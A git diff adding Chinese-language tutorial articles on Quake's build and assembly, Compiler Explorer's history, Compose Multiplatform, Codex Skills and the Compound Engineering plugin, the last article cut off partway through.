+- 使用查表法（`r_lightstyle[i % 256]`）来加速光照效果
+
+### 示例 2：汇编优化代码（Michael Abrash 的手写代码）
+
+Quake 的性能瓶颈主要在渲染部分。Michael Abrash 为 Quake 编写了大量手写的汇编优化代码。下面是一个简化示例：
+
+```asm
+; 简化版：Quake 的光线投射（ray casting）核心循环
+; 这段汇编代码比等效的 C 代码快 3-5 倍
+
+raycast PROC
+    push ebp
+    mov ebp, esp
+    
+    ; esi = 当前射线方向
+    ; edi = 帧缓冲区指针
+    ; ebx = 关卡数据结构
+    
+    .loop:
+        ; 计算射线与网格线的交点
+        mov eax, [esi]          ; 读取射线 x 坐标
+        cmp eax, 640            ; 是否超出屏幕宽度
+        jge .done               ; 超出则退出循环
+        
+        ; 查找当前像素对应的墙面纹理坐标
+        mov ecx, eax
+        shr ecx, 4              ; 除以 16（位运算代替除法，更快）
+        movzx edx, byte ptr [ebx+ecx]   ; 查表获取纹理索引
+        
+        ; 将纹理颜色写入帧缓冲区
+        mov [edi], dl           ; 写入像素颜色
+        
+        ; 移动到下一个像素
+        add esi, 4              ; 射线步进
+        add edi, 1              ; 帧缓冲区步进
+        
+        jmp .loop
+    
+    .done:
+    pop ebp
+    ret
+raycast ENDP
+```
+
+这段汇编代码的关键优化技巧：
+
+- **位运算代替除法**：`shr ecx, 4` 等价于 `ecx / 16`，但速度快得多
+- **直接内存访问**：不经过高级抽象，直接读写内存地址
+- **循环展开**：实际代码中会将循环体复制多次，减少跳转开销
+
+## 六、为什么这件事值得做？
+
+### 6.1 理解现代工具背后的原理
+
+今天我们用 `npm run build` 或 `go build` 一条命令就能完成编译。但了解 1997 年的编译过程，能让你理解：
+
+- 为什么编译有时会失败（缺少依赖、版本不匹配）
+- 为什么项目文件（`.dsw`、`.dsp`）如此重要
+- 为什么换行符格式会影响构建
+
+### 6.2 感受技术演进的深度
+
+从 NeXT 到 Windows NT，从 VC++ 4.X 到 VC++ 6，从手工汇编优化到现代编译器自动优化——这个过程本身就是一部微缩的软件工程进化史。
+
+### 6.3 培养调试耐心
+
+Fabien 提到："不要浪费一个小时去别处下载 MDAC。你只需要运行那个已经在文件夹里了的可执行文件。" 这种"在已有资源中寻找答案"的能力，是所有工程师必备的素质。
+
+## 七、关键收获总结
+
+| 概念 | 1997 年的做法 | 今天的做法 |
+|------|--------------|-----------|
+| 安装系统 | 从光盘手动安装 Windows NT 4 | 云服务器一键部署 |
+| 开发工具 | Visual C++ 6 + Service Pack 5 | VS Code + 智能补全 |
+| 获取源码 | FTP 下载 zip 文件 | Git clone |
+| 编译构建 | 手动打开工作区，点击"Rebuild All" | `cargo build` / `npm run build` |
+| 调试 | 断点 + 变量检查（没有自动补全） | 断点 + 变量检查 + 智能提示 |
+| 汇编优化 | 手写 `.s` 文件，用 `ml.exe` 编译 | 编译器自动向量化优化 |
+
+## 八、延伸学习
+
+- [Quake Official Archive](https://github.com/Jason2Brownlee/QuakeOfficialArchive) — Jason Brownless 维护的 Quake 官方档案
+- Fabien 的另一篇文章 [Quake ASM optimizations in-depth](https://fabiensanglard.net/quake_asm_optimizations/) — 深入讲解 Quake 的汇编优化
+- Fabien 的 [Let's play QuakeWorld!](https://fabiensanglard.net/quakeworld/) — 体验 Quake 的多人网络对战
+
+## 九、给初学者的建议
+
+如果你是编程零基础，这篇文章可能看起来有点挑战。没关系，你可以：
+
+1. 先了解什么是 C 语言和编译器（推荐搜索"C 语言入门教程"）
+2. 尝试在今天的电脑上安装一个现代 IDE（如 VS Code），体验一下"一键编译"
+3. 回来再看这篇文章，你会发现很多概念其实很直观
+
+技术从来不是魔法，只是一系列可以理解的步骤。1997 年的程序员和我们一样，都是从"这是什么？"开始的。
diff --git a/src/content/docs/projects/compiler-explorer-history.md b/src/content/docs/projects/compiler-explorer-history.md
new file mode 100644
index 000000000..acaebb930
--- /dev/null
+++ b/src/content/docs/projects/compiler-explorer-history.md
@@ -0,0 +1,224 @@
+---
+title: How Compiler Explorer Was Built
+来源: https://xania.org/202605/compiler-explorer-architecture
+日期: 2026-06-13
+分类: 编程语言
+子分类: 类型与 PL 理论
+provenance: pipeline-v3
+---
+
+# How Compiler Explorer Was Built
+
+## 一、从 tmux 到 godbolt.org：一个项目的诞生
+
+想象一下：你是一个程序员，想搞清楚一段 C++ 代码到底编译成了什么样的机器指令。
+
+你该怎么办？传统做法是：写一个 `.c` 文件，运行 `gcc -S file.c -o file.s`，然后打开生成的 `.s` 汇编文件，一行行看。每次改代码，都要重新跑一遍命令，再刷新文件。很麻烦，对吧？
+
+2012 年，Matt Godbolt 遇到了同样的问题。他的解决方式非常极客——他直接用 `tmux`（一个终端多路复用工具），左边窗口跑 `vi` 编辑代码，右边窗口跑 `watch gcc -S foo.cc -o -`，用 `watch` 命令让终端每隔几秒自动重新编译，把最新汇编结果打印出来。
+
+这就是 Compiler Explorer 的最初形态：**两个并排的终端窗口**。
+
+后来 Matt 觉得这个工具太好了，应该让更多人用到。于是他把这个"tmux hack"变成了一个真正的网站——godbolt.org。今天它每周处理超过 300 万次编译，支持 30 多种编程语言。
+
+## 二、核心概念：编译器到底在做什么？
+
+要理解 Compiler Explorer，先要理解编译器的基本流程。
+
+### 2.1 从源代码到机器码
+
+计算机的 CPU 只认识"机器码"——就是一串数字，比如 `01fe89f0c3`。但这对人来说完全不可读。
+
+所以程序员用"汇编语言"来代替机器码。汇编和机器码是一一对应的：
+
+```nasm
+add esi, edi        ; 对应机器码字节 01 fe
+mov eax, esi        ; 对应机器码字节 89 f0
+ret                 ; 对应机器码字节 c3
+```
+
+这是一段汇编，意思是：把 `edi` 寄存器的值加到 `esi` 上，然后把结果复制到 `eax`，最后返回。
+
+而在高级语言（比如 C）中，同样的功能只需要一行：
+
+```c
+int add(int x, int y) {
+  return x + y;
+}
+```
+
+编译器的任务，就是把人类能读懂的高级语言，翻译成 CPU 能执行的机器码。这个过程包括：
+
+1. **词法分析**：把源代码拆分成一个个"词"（关键字、变量名、运算符等）
+2. **语法分析**：根据语法规则，把这些词组织成语法树
+3. **语义分析**：检查类型是否匹配、函数调用是否正确
+4. **优化**：生成更快、更小的代码
+5. **代码生成**：最终产出机器码/汇编
+
+Compiler Explorer 让你能看到每一步的结果，尤其是最终的汇编输出。
+
+## 三、Compiler Explorer 的架构设计
+
+### 3.1 整体架构
+
+Compiler Explorer 是一个典型的"前后端一体"应用：
+
+- **前端**：浏览器里的代码编辑器和汇编展示面板
+- **后端**：用 TypeScript + Node.js 写的服务器
+- **编译器**：实际执行编译工作的 GCC、Clang、Rustc 等
+
+用户在前端编辑代码 → 前端通过 HTTP API 把代码发给后端 → 后端调用系统上的编译器（如 gcc、clang）→ 编译器返回汇编结果 → 后端把汇编返回给前端展示。
+
+整个过程几乎实时完成。
+
+### 3.2 关键组件
+
+**语言配置系统**：Compiler Explorer 支持 30 多种语言。每种语言的编译器配置写在 `etc/config/` 目录下的属性文件中。比如 `c++.defaults.properties` 定义了 C++ 编译器的默认路径和参数。用户可以创建 `c++.local.properties` 来覆盖默认配置，这个文件不会被 git 跟踪，适合本地定制。
+
+**UI 布局引擎**：页面使用 GoldenLayout 库实现可拖拽的面板布局。你可以自由调整编辑器窗口和汇编窗口的相对大小，甚至可以添加"执行结果"面板、"控制流图"面板等子面板。
+
+**着色关联**：每一行源代码和它对应的汇编行会用相同的颜色高亮。鼠标悬停在一行上时，另一侧对应的行也会高亮。这让"这段 C++ 代码变成了哪条汇编指令"变得一目了然。
+
+## 四、动手体验：用 Compiler Explorer 看编译过程
+
+### 4.1 示例一：简单函数的汇编输出
+
+打开 godbolt.org，输入以下 C 代码：
+
+```c
+int add(int x, int y) {
+    return x + y;
+}
+```
+
+默认情况下，编译器以 `-O0`（无优化）模式编译。你会看到类似这样的汇编：
+
+```nasm
+add esi, edi        ; 把 edi 和 esi 相加
+mov eax, esi        ; 把结果放入 eax（返回值寄存器）
+ret                 ; 返回
+```
+
+现在把编译选项改成 `-O2`（开启优化），汇编变成了：
+
+```nasm
+lea eax, [rdi+rsi]  ; 一条指令完成加法并放入 eax
+ret                 ; 返回
+```
+
+注意变化：优化后的版本只用了一条 `lea`（Load Effective Address）指令就完成了加法，比原来少了一条指令、节省了字节。这就是编译器优化的威力——它比你更了解 CPU 的指令特性。
+
+### 4.2 示例二：循环展开与向量化
+
+再看一个稍微复杂的例子：
+
+```c
+int sum_array(int *arr, int n) {
+    int sum = 0;
+    for (int i = 0; i < n; i++) {
+        sum += arr[i];
+    }
+    return sum;
+}
+```
+
+无优化（`-O0`）时，汇编大致如下：
+
+```nasm
+sum_array:
+    xor eax, eax          ; sum = 0
+    test edi, edi         ; 检查 n <= 0 ?
+    jle .L2               ; 如果 <= 0，跳到结束
+.L3:
+    movsx rcx, dword [rax + rdx*4]  ; 取 arr[i]
+    add eax, ecx          ; sum += arr[i]
+    inc rsi               ; i++
+    cmp rsi, rdx          ; 比较 i 和 n
+    jl .L3                ; 如果 i < n，继续循环
+.L2:
+    ret                   ; 返回 sum
+```
+
+加上 `-O3` 优化后，编译器可能会做"向量化"——用 SIMD 指令一次处理多个元素（比如同时加 4 个整数）：
+
+```nasm
+sum_array:
+    test edi, edi
+    jle .L2
+    xor eax, eax
+    xor ecx, ecx          ; 循环计数器
+.L3:
+    movsxd r8d, dword [rsi + rcx*4]   ; 取 arr[i]
+    lea rdx, [rcx+1]
+    add eax, r8d                    ; sum += arr[i]
+    cmp rdx, rdi
+    jb .L3                  ; 如果 i < n，继续
+.L2:
+    ret
+```
+
+在真实的 godbolt.org 上，如果你用 Clang 编译器并开启 `-O3`，你甚至可能看到编译器使用了 AVX/AVX2 的 SIMD 指令（如 `vpaddld`），一次处理 8 个整数的加法——这比原始代码快了将近一个数量级。
+
+## 五、为什么 Compiler Explorer 如此有用
+
+### 5.1 教学价值
+
+对于学习汇编、理解编译器优化的人来说，Compiler Explorer 是最好的交互式教材。你不需要在本地配置 GCC、写 Makefile、跑命令——一切都在浏览器里完成。
+
+### 5.2 性能调优
+
+在 C++ 社区，Compiler Explorer 被广泛用于性能调优。比如：
+
+- 某个函数为什么没有内联？看汇编就知道
+- 编译器有没有做循环向量化？看汇编就能确认
+- 不同写法生成的汇编有什么区别？改一下代码立刻对比
+
+### 5.3 语言研究
+
+每种语言的设计者都可以用它来验证自己的设计决策。比如 C++ 标准库中的 `std::vector` 在什么情况下会被"省略"（Copy Elision），Java 的 JIT 编译器如何优化字符串拼接——这些都可以通过 Compiler Explorer 直观地观察。
+
+## 六、技术栈一览
+
+| 层级 | 技术 |
+|------|------|
+| 前端 | TypeScript + Pug（模板）+ SCSS（样式）+ GoldenLayout（布局） |
+| 后端 | Node.js + TypeScript + Express |
+| 编译器 | GCC、Clang、Rustc、LLVM、MSVC 等（安装在服务器上） |
+| 构建 | Makefile + npm |
+| 测试 | Vitest（单元测试）+ Cypress（端到端测试） |
+
+## 七、关键启发
+
+Compiler Explorer 的故事告诉我们几个重要的工程原则：
+
+1. **从自己的痛点出发**：Matt 是因为自己需要看汇编才做了这个工具。最好的工具往往源于解决自己的问题。
+2. **最小可行产品（MVP）可以极其简陋**：最初的版本就是两个 tmux 窗口。不需要精美的界面，不需要用户系统，只要能跑就行。
+3. **渐进式演进**：从 tmux 到独立网站，从只有 C++ 到支持 30 种语言，从单人使用到每周 300 万次访问——每一步都是为了解决下一个瓶颈。
+4. **开源的力量**：Compiler Explorer 是开源项目（BSD-2-Clause 协议），全球贡献者一起维护。它的 GitHub 仓库有 18,800+ Star，是 C++ 生态中最受欢迎的项目之一。
+
+## 八、延伸实践
+
+如果你想自己跑一个本地的 Compiler Explorer：
+
+```bash
+# 克隆仓库
+git clone https://github.com/compiler-explorer/compiler-explorer.git
+cd compiler-explorer
+
+# 安装依赖并启动（需要 Node.js 22+）
+make
+
+# 访问 http://localhost:10240/
+```
+
+开发模式下可以用 `make dev`，它会监听文件变化自动重载，方便调试。
+
+如果想限制只运行特定语言（比如只跑 C++），可以加参数：
+
+```bash
+make EXTRA_ARGS='--language c++'
+```
+
+---
+
+> 本文基于 Matt Godbolt 在 CppCon 2019 的演讲、Compiler Explorer 官方文档以及社区资料整理而成。官方网站：https://godbolt.org
diff --git a/src/content/docs/projects/compose-multiplatform.md b/src/content/docs/projects/compose-multiplatform.md
new file mode 100644
index 000000000..e7bba959c
--- /dev/null
+++ b/src/content/docs/projects/compose-multiplatform.md
@@ -0,0 +1,243 @@
+---
+title: "Compose Multiplatform — 跨平台声明式 UI"
+来源: "https://github.com/JetBrains/compose-multiplatform"
+日期: "2026-06-13"
+分类: 其他
+子分类: mobile-cross-platform
+provenance: "pipeline-v3"
+---
+
+# Compose Multiplatform — 跨平台声明式 UI
+
+## 一、从日常类比开始
+
+想象一下，你要在多个餐厅（iOS、Android、桌面、网页）提供完全相同的菜单。
+
+传统方式：每个餐厅各自请厨师、各自买食材、各自写菜谱。换道菜，得通知所有餐厅。
+
+声明式 UI 的方式：你写一份电子菜谱（代码），然后每个餐厅的厨房（平台）都按同一份菜谱做菜。菜谱改了，所有餐厅自动更新。
+
+Compose Multiplatform 就是这份"电子菜谱"的生成器。
+
+## 二、它是什么
+
+Compose Multiplatform 是 JetBrains 用 Kotlin 写的跨平台 UI 框架。它基于 Google 的 Jetpack Compose（Android 官方 UI 框架），让开发者用同一套代码，一次编写，在四个平台上运行：
+
+- iOS — 稳定版
+- Android — 通过 Jetpack Compose
+- Desktop — Windows、macOS、Linux
+- Web — Beta 阶段（基于 Kotlin/Wasm）
+
+它支持热重载、Material 组件库、与原生 API 互操作，还能渐进式采用——你可以只共享一个按钮，也可以共享整个应用。
+
+## 三、核心概念
+
+### 1. 声明式（Declarative）
+
+声明式 UI 的核心思想是：**你只描述界面"长什么样"，不告诉它"怎么变"。**
+
+传统方式（命令式）：你得像程序员一样，手动写每一行操作——先找按钮，再改文字，再刷新屏幕。
+
+声明式：你只写"当点击时，按钮显示已选中"。框架自己处理更新。
+
+类比：你不是在教机器人一步步折纸，而是给它一张折好的纸——每次它看到这张纸，就按上面的样子折。
+
+### 2. Composable 函数
+
+Compose 的基本构建块是 `@Composable` 函数。这是一个标注，告诉编译器"这个函数用来画 UI"。每个 Composable 函数像一个积木块，可以嵌套组合：
+
+```kotlin
+@Composable
+fun Greeting(name: String) {
+    Text(text = "Hello, $name!")
+}
+```
+
+### 3. 状态管理（State）
+
+UI 会变化（用户点击、数据加载），状态就是"驱动变化的燃料"。Compose 用 `mutableStateOf` 创建可观察的状态——状态变了，UI 自动重新绘制。
+
+类比：状态就像一个智能灯泡开关。你拨一下开关（改状态），灯泡（UI）自动亮/灭，你不需要自己去拉电线。
+
+### 4. 响应式布局
+
+Compose 提供 Column（纵向排列）、Row（横向排列）、Box（叠加）等布局容器。它们自动适应内容大小和屏幕尺寸。
+
+## 四、代码示例
+
+### 示例一：一个简单的待办事项列表
+
+这个例子展示如何创建一个带标题、文本输入和待办列表的完整界面：
+
+```kotlin
+@Composable
+fun TodoApp() {
+    // 状态：待办事项列表，用 mutableStateOf 创建可观察状态
+    var tasks by remember { mutableStateOf(listOf<String>()) }
+    var inputText by remember { mutableStateOf("") }
+
+    // Column = 纵向排列的布局容器
+    Column(
+        modifier = Modifier
+            .fillMaxSize()       // 占满整个屏幕
+            .padding(16.dp),    // 四周留 16 像素的边距
+        verticalArrangement = Arrangement.spacedBy(8.dp) // 子元素间距
+    ) {
+        // 标题
+        Text(
+            text = "待办事项",
+            style = MaterialTheme.typography.headlineLarge
+        )
+
+        // 文本输入框
+        OutlinedTextField(
+            value = inputText,
+            onValueChange = { inputText = it }, // 输入变化时更新状态
+            label = { Text("新任务") },
+            modifier = Modifier.fillMaxWidth()
+        )
+
+        // 添加按钮
+        Button(
+            onClick = {
+                if (inputText.isNotBlank()) {
+                    tasks = tasks + inputText // 追加新任务（不可变更新）
+                    inputText = ""           // 清空输入框
+                }
+            }
+        ) {
+            Text("添加")
+        }
+
+        // 待办列表
+        LazyColumn(
+            modifier = Modifier.weight(1f)
+        ) {
+            items(tasks) { task ->
+                TaskItem(task = task)
+            }
+        }
+    }
+}
+
+@Composable
+fun TaskItem(task: String) {
+    Row(
+        modifier = Modifier
+            .fillMaxWidth()
+            .padding(vertical = 4.dp),
+        horizontalArrangement = Arrangement.SpaceBetween
+    ) {
+        Text(text = task, style = MaterialTheme.typography.bodyLarge)
+        // 可以添加删除按钮
+    }
+}
+```
+
+代码解读：
+- `remember` 记住状态，避免每次重绘时重新初始化
+- `tasks = tasks + inputText` 不是修改原列表，而是创建新列表（不可变更新），这是 Compose 的设计原则
+- `LazyColumn` 是懒加载列表，只渲染屏幕可见的项，性能优秀
+
+### 示例二：天气卡片组件
+
+这个例子展示自定义组件、条件渲染、以及动画效果：
+
+```kotlin
+@Composable
+fun WeatherCard(city: String, temperature: Int, isSunny: Boolean) {
+    // 卡片容器，带圆角和阴影
+    Card(
+        modifier = Modifier
+            .fillMaxWidth()
+            .padding(8.dp)
+            .animateContentSize(),      // 内容变化时自动过渡动画
+        shape = RoundedCornerShape(12.dp),
+        colors = CardDefaults.cardColors(
+            containerColor = if (isSunny) Color(0xFFFFF3E0) else Color(0xFFECEFF1)
+        )
+    ) {
+        Column(modifier = Modifier.padding(16.dp)) {
+            // 城市名 + 天气图标
+            Row(verticalAlignment = Alignment.CenterVertically) {
+                Text(
+                    text = city,
+                    style = MaterialTheme.typography.titleLarge,
+                    color = Color(0xFF37474F)
+                )
+                Spacer(modifier = Modifier.weight(1f))
+                Icon(
+                    imageVector = if (isSunny) Icons.Default.Lightbulb else Icons.Default.Cloud,
+                    contentDescription = "天气图标",
+                    tint = if (isSunny) Color(0xFFFFA000) else Color(0xFF78909C)
+                )
+            }
+
+            Spacer(modifier = Modifier.height(8.dp))
+
+            // 温度
+            Text(
+                text = "$temperature°C",
+                style = MaterialTheme.typography.displayMedium,
+                color = Color(0xFF263238)
+            )
+
+            Spacer(modifier = Modifier.height(4.dp))
+
+            // 天气描述
+            Text(
+                text = if (isSunny) "晴朗" else "多云",
+                style = MaterialTheme.typography.bodyMedium,
+                color = Color(0xFF546E7A)
+            )
+        }
+    }
+}
+
+// 使用示例：在主界面中调用
+@Composable
+fun WeatherScreen() {
+    // 从 API 获取数据
+    val weather = remember { mutableStateOf(WeatherData("北京", 25, true)) }
+
+    Column(modifier = Modifier.fillMaxSize().padding(16.dp)) {
+        WeatherCard(
+            city = weather.value.city,
+            temperature = weather.value.temperature,
+            isSunny = weather.value.isSunny
+        )
+    }
+}
+
+data class WeatherData(val city: String, val temperature: Int, val isSunny: Boolean)
+```
+
+代码解读：
+- `animateContentSize()` 让卡片大小变化时有平滑动画
+- 条件渲染 `if (isSunny)` 根据布尔值切换 UI，无需手动管理视图可见性
+- `Spacer` 是"隐形占位符"，用来控制间距，替代了以前需要手动设 margin 的麻烦
+
+## 五、与传统方式对比
+
+| 特性 | 传统视图系统（XML/SwiftUI原生） | Compose Multiplatform |
+|------|------|------|
+| 跨平台 | 各写各的 | 一套代码多平台运行 |
+| UI 描述 | 先写布局文件，再绑定逻辑 | 直接用代码声明 UI + 逻辑 |
+| 状态驱动 | 手动更新 UI | 状态变化自动刷新 |
+| 语言 | Java/Kotlin (Android), Swift (iOS) | Kotlin 统一 |
+| 复用率 | 通常 0-30% | 可达 80-90% |
+
+## 六、学习建议
+
+1. 先学 Kotlin 基础语法（变量、函数、数据类）
+2. 理解"声明式"思想，忘掉"怎么改 UI"
+3. 从小的 Composable 组件开始写（Text、Button、Row）
+4. 掌握状态管理（remember、mutableStateOf）是关键
+5. 动手写一个完整的待办事项 App 来巩固
+
+## 七、参考资源
+
+- 官方文档：https://www.jetbrains.com/lp/compose-multiplatform/
+- GitHub 仓库：https://github.com/JetBrains/compose-multiplatform
+- 入门教程：https://jb.gg/start-cmp
+- 示例项目：https://jb.gg/cmp-samples
diff --git a/src/content/docs/projects/composio-codex-skills.md b/src/content/docs/projects/composio-codex-skills.md
new file mode 100644
index 000000000..ca29feaea
--- /dev/null
+++ b/src/content/docs/projects/composio-codex-skills.md
@@ -0,0 +1,210 @@
+---
+title: Codex Skills 精选 — 让 AI 编程助手长出"专业特长"
+来源: https://github.com/ComposioHQ/awesome-codex-skills
+日期: 2026-06-13
+分类: CLI
+子分类: 开发者工具
+provenance: pipeline-v3
+---
+
+# Codex Skills 精选 — 让 AI 编程助手长出"专业特长"
+
+## 一个类比：厨师与菜谱
+
+想象你去一家餐厅。厨师（AI）本身厨艺不错，但他如果只靠"通用菜谱"做所有菜，做出来的东西可能中规中矩。
+
+现在给他一套**专业菜谱手册**（Skills）：
+
+- 川菜手册告诉他：花椒要用汉源的，麻婆豆腐要分三次勾芡
+- 披萨手册告诉他：面团要冷藏 24 小时，烤炉必须是 400 度石窑
+
+有了这些手册，同一个厨师就能从"会做饭的人"变成"专做川菜的师傅"或"意式披萨大师"。
+
+**Codex Skills 就是这个道理。** Codex 是一个 AI 编程助手，Skills 是教它"特定任务该怎么做好"的手册。
+
+---
+
+## 核心概念：什么是 Codex Skill？
+
+一个 Skill 就是一个**文件夹**，里面至少有一个 `SKILL.md` 文件。这个文件告诉 Codex 两件事：
+
+1. **什么时候用我**（描述 `description`）
+2. **用了之后该怎么做**（正文 `body`）
+
+```
+my-skill/
+├── SKILL.md          ← 必须有：指令 + YAML 元数据
+├── scripts/          ← 可选：自动化脚本
+├── references/       ← 可选：详细说明文档
+└── assets/           ← 可选：模板、图标等输出素材
+```
+
+**关键设计：渐进式加载（Progressive Disclosure）**
+
+```
+Level 1: 元数据（name + description）—— 始终在内存中，约 100 词
+Level 2: SKILL.md 正文 —— 只在 Skill 触发后才加载
+Level 3: 附属资源 —— 按需加载，不占内存
+```
+
+这就像你手机的 App：图标永远在桌面上（元数据），点进去才加载内容（正文），不会把所有 App 的完整功能同时塞进 RAM。
+
+---
+
+## 如何安装一个 Skill？
+
+**方法一：用 Skill Installer（推荐）**
+
+```bash
+git clone https://github.com/ComposioHQ/awesome-codex-skills.git
+cd awesome-codex-skills
+
+python skill-installer/scripts/install-skill-from-github.py \
+  --repo ComposioHQ/awesome-codex-skills \
+  --path meeting-notes-and-actions
+```
+
+这会把 Skill 安装到 `$CODEX_HOME/skills/`（默认 `~/.codex/skills/`），然后重启 Codex 就生效了。
+
+**方法二：手动安装**
+
+把 Skill 文件夹直接复制到 `~/.codex/skills/`，重启 Codex 即可。
+
+---
+
+## 代码示例：一个 Skill 长什么样？
+
+### 示例 1：最小模板
+
+```yaml
+---
+name: template-skill
+description: Replace with description of the skill and when Claude should use it.
+---
+```
+
+```markdown
+# Insert instructions below
+```
+
+这就是一个完整 Skill 的最小形式。两个字段：名字和描述。
+
+### 示例 2：实用的"会议纪要" Skill
+
+```yaml
+---
+name: meeting-notes-and-actions
+description: >
+  Turn meeting transcripts or rough notes into crisp summaries with decisions,
+  risks, and owner-tagged action items; use for Zoom/Meet/Teams transcripts,
+  call notes, or long meeting chats to generate share-ready outputs.
+metadata:
+  short-description: Meeting transcript to notes and actions
+---
+
+# Meeting Notes & Actions
+
+## Inputs to ask for
+- Source: pasted transcript/text or file path; meeting title/date; attendees.
+- Output style: terse bullets vs. narrative, action-item format, due date/owner tags.
+
+## Workflow
+1) Normalize text: strip timestamps/speaker labels if noisy.
+2) Extract essentials: agenda topics, key decisions, open questions, risks.
+3) Action items: who/what/when. Propose due dates if missing.
+4) Produce output with Summary, Decisions, Open Questions, Action Items sections.
+```
+
+这个 Skill 告诉 Codex：当你给它一段会议录音文字稿时，它应该自动提取"谁做了什么、什么时候做完"，而不是只给你一段泛泛的摘要。
+
+### 示例 3：Skill Creator — 教 Codex 写 Skill
+
+`awesome-codex-skills` 仓库里还有一个"教怎么写 Skill"的 Skill，它的 `description` 很长，因为需要覆盖各种触发场景：
+
+```yaml
+---
+name: skill-creator
+description: >
+  Guide for creating effective skills. This skill should be used when users want
+  to create a new skill (or update an existing skill) that extends Codex's
+  capabilities with specialized knowledge, workflows, or tool integrations.
+---
+```
+
+这个 Skill 本身就是一个 Skill——教你怎么写出更好的 Skill。
+
+---
+
+## 仓库里有哪些类型的 Skill？
+
+`awesome-codex-skills` 按类别分了 5 个大类：
+
+### 1. 开发与代码工具
+
+| Skill | 用途 |
+|---|---|
+| `codebase-migrate` | 大批量代码迁移和多文件重构 |
+| `pr-review-ci-fix` | PR 审查 + CI 自动修复循环 |
+| `sentry-triage` | 自动把报错栈映射到本地代码 |
+| `mcp-builder` | 构建和评估 MCP 服务器 |
+
+### 2. 生产力与协作
+
+| Skill | 用途 |
+|---|---|
+| `connect` | 连接 1000+ 应用（Slack、GitHub、Notion 等） |
+| `linear` | 在 Linear 中管理 Issue 和项目 |
+| `meeting-notes-and-actions` | 会议纪要转行动项 |
+| `notion-spec-to-implementation` | Notion 需求文档直接转实施计划 |
+
+### 3. 沟通与写作
+
+| Skill | 用途 |
+|---|---|
+| `email-draft-polish` | 起草、改写、精简邮件 |
+| `changelog-generator` | 从提交记录自动生成 Changelog |
+| `tailored-resume-generator` | 根据 JD 定制简历 |
+
+### 4. 数据与分析
+
+| Skill | 用途 |
+|---|---|
+| `spreadsheet-formula-helper` | 编写和调试表格公式 |
+| `datadog-logs` | 从终端筛选 Datadog 日志 |
+| `lead-research-assistant` | 潜在客户研究与信息补充 |
+
+### 5. 元工具与辅助
+
+| Skill | 用途 |
+|---|---|
+| `skill-installer` | 安装和管理 Skill |
+| `skill-creator` | 创建新 Skill 的指导 |
+| `template-skill` | 新建 Skill 的空白模板 |
+| `brand-guidelines` | 应用品牌色彩和字体规范 |
+
+---
+
+## 为什么这个仓库有价值？
+
+**13.6k Star** 不是偶然的。它解决了一个实际痛点：
+
+> "我知道 AI 能帮我做很多事，但怎么告诉它'按我的方式做'？"
+
+Skills 就是答案。你把重复做的事情写成 Skill，AI 就永远按你的标准来做了。
+
+这个仓库的精选价值在于：
+
+- **不需要从零开始** — 直接用别人写好的
+- **每个都是可运行的** — 不是概念验证，是真实在工作流中使用的
+- **有统一的安装工具** — `skill-installer` 一键搞定
+- **社区持续贡献** — 65 个 PR，45 次提交，说明活跃度高
+
+---
+
+## 一句话总结
+
+**Codex Skills = 给 AI 编程助手的"专业技能手册"**。`awesome-codex-skills` 就是这本手册的"精选目录"，让你不用自己一本本写，直接选用别人写好的，或者在此基础上修改。
+
+---
+
+*本文基于 ComposioHQ/awesome-codex-skills 仓库 README 及 Skill 模板整理。*
diff --git a/src/content/docs/projects/compound-engineering-plugin.md b/src/content/docs/projects/compound-engineering-plugin.md
new file mode 100644
index 000000000..565deb9a7
--- /dev/null
+++ b/src/content/docs/projects/compound-engineering-plugin.md
@@ -0,0 +1,151 @@
+---
+title: Compound Engineering Plugin 学习笔记
+来源: https://github.com/EveryInc/compound-engineering-plugin
+日期: 2026-06-13
+分类: CLI
+子分类: 编辑器与 IDE
+provenance: pipeline-v3
+---
+
+## Compound Engineering Plugin 学习笔记
+
+### 一、它是什么：用"复利"的思路做开发
+
+想象你在种一棵树。传统开发方式是：每长一根新枝条，你就得重新认识这棵树的结构——哪边阳光好、哪边土壤硬、哪根枝不能剪。每次修剪都可能剪错地方，每次观察都从零开始。
+
+Compound Engineering（简称 CE）的思路是：每次修剪时，把"这根枝往哪边长最好"的经验记下来。下一次再长出新枝时，经验可以直接复用——新枝长得更快、更少犯错。这就是"复利工程"的核心：**每一次工程工作，都应该让下一次变得更容易。**
+
+这个插件就是实现这个理念的工具集，由 EveryInc 维护，目前是 Claude Code、Codex、Cursor、GitHub Copilot 等 AI 编程工具的一个插件。
+
+### 二、核心概念
+
+#### 1. Skill（技能）和 Agent（代理）
+
+一个 Skill 是一个你可以通过斜杠命令（如 `/ce-brainstorm`）直接调用的能力。它像一个项目主管——知道做什么，但具体干活会派给 Agent。
+
+Agent 是 Skill 派出去的专职工人。你直接跟 Skill 说话，Skill 再根据需要派 Agent 干活。Agent 不跟你对话，只干活、交结果。
+
+这个关系就像：你是老板，Skill 是部门经理，Agent 是基层员工。
+
+#### 2. Pipeline（流水线）
+
+CE 把开发工作串成一条流水线，每个阶段产出"耐用物品"（durable artifact），传给下一阶段：
+
+```
+ce-strategy → ce-ideate → ce-brainstorm → ce-plan → ce-work → ce-code-review → ce-compound
+```
+
+每个阶段产出的文档会被后面阶段读取。比如 `ce-strategy` 产出的 `STRATEGY.md`，后面的 brainstorm 和 plan 都会参考它，不需要每次都重新理解产品方向。
+
+#### 3. Compound（知识累积）
+
+`ce-compound` 是这个系统的"记忆"。它把解决过的 bug、定下的约定、发现的工作模式记录下来，变成可复用的"学习文档"。下一次遇到类似问题，Agent 能直接查到过去的经验，不用重新踩坑。
+
+### 三、一个完整工作循环
+
+假设你要加一个新功能，典型流程是这样的：
+
+```
+/ce-strategy "我们的目标是降低用户注册流失率"
+/ce-brainstorm "让用户通过微信一键注册"
+/ce-plan docs/brainstorms/wechat-registration-requirements.md
+/ce-work
+/ce-code-review
+/ce-compound
+```
+
+每一步都在为下一步铺路：
+
+- `ce-strategy` 写下产品目标和关键指标
+- `ce-brainstorm` 通过交互问答，把模糊想法变成清晰的需求文档
+- `ce-plan` 根据需求文档，生成详细实现计划
+- `ce-work` 按计划执行，管理任务进度
+- `ce-code-review` 多角度代码审查（安全、正确性、性能等）
+- `ce-compound` 把学到的东西记下来，供下次使用
+
+### 四、代码示例
+
+#### 示例 1：从零开始一个功能
+
+第一步，设定策略方向。运行 `/ce-strategy` 后，项目根目录会产生 `STRATEGY.md`：
+
+```
+# STRATEGY.md (由 /ce-strategy 自动生成)
+
+## Target Problem
+用户注册流程太复杂，导致 60% 的访客在注册页就流失了。
+
+## Approach
+减少注册步骤，支持微信一键授权登录。
+
+## Key Metric
+注册转化率从 40% 提升到 65%。
+```
+
+第二步，通过 brainstorm 细化想法：
+
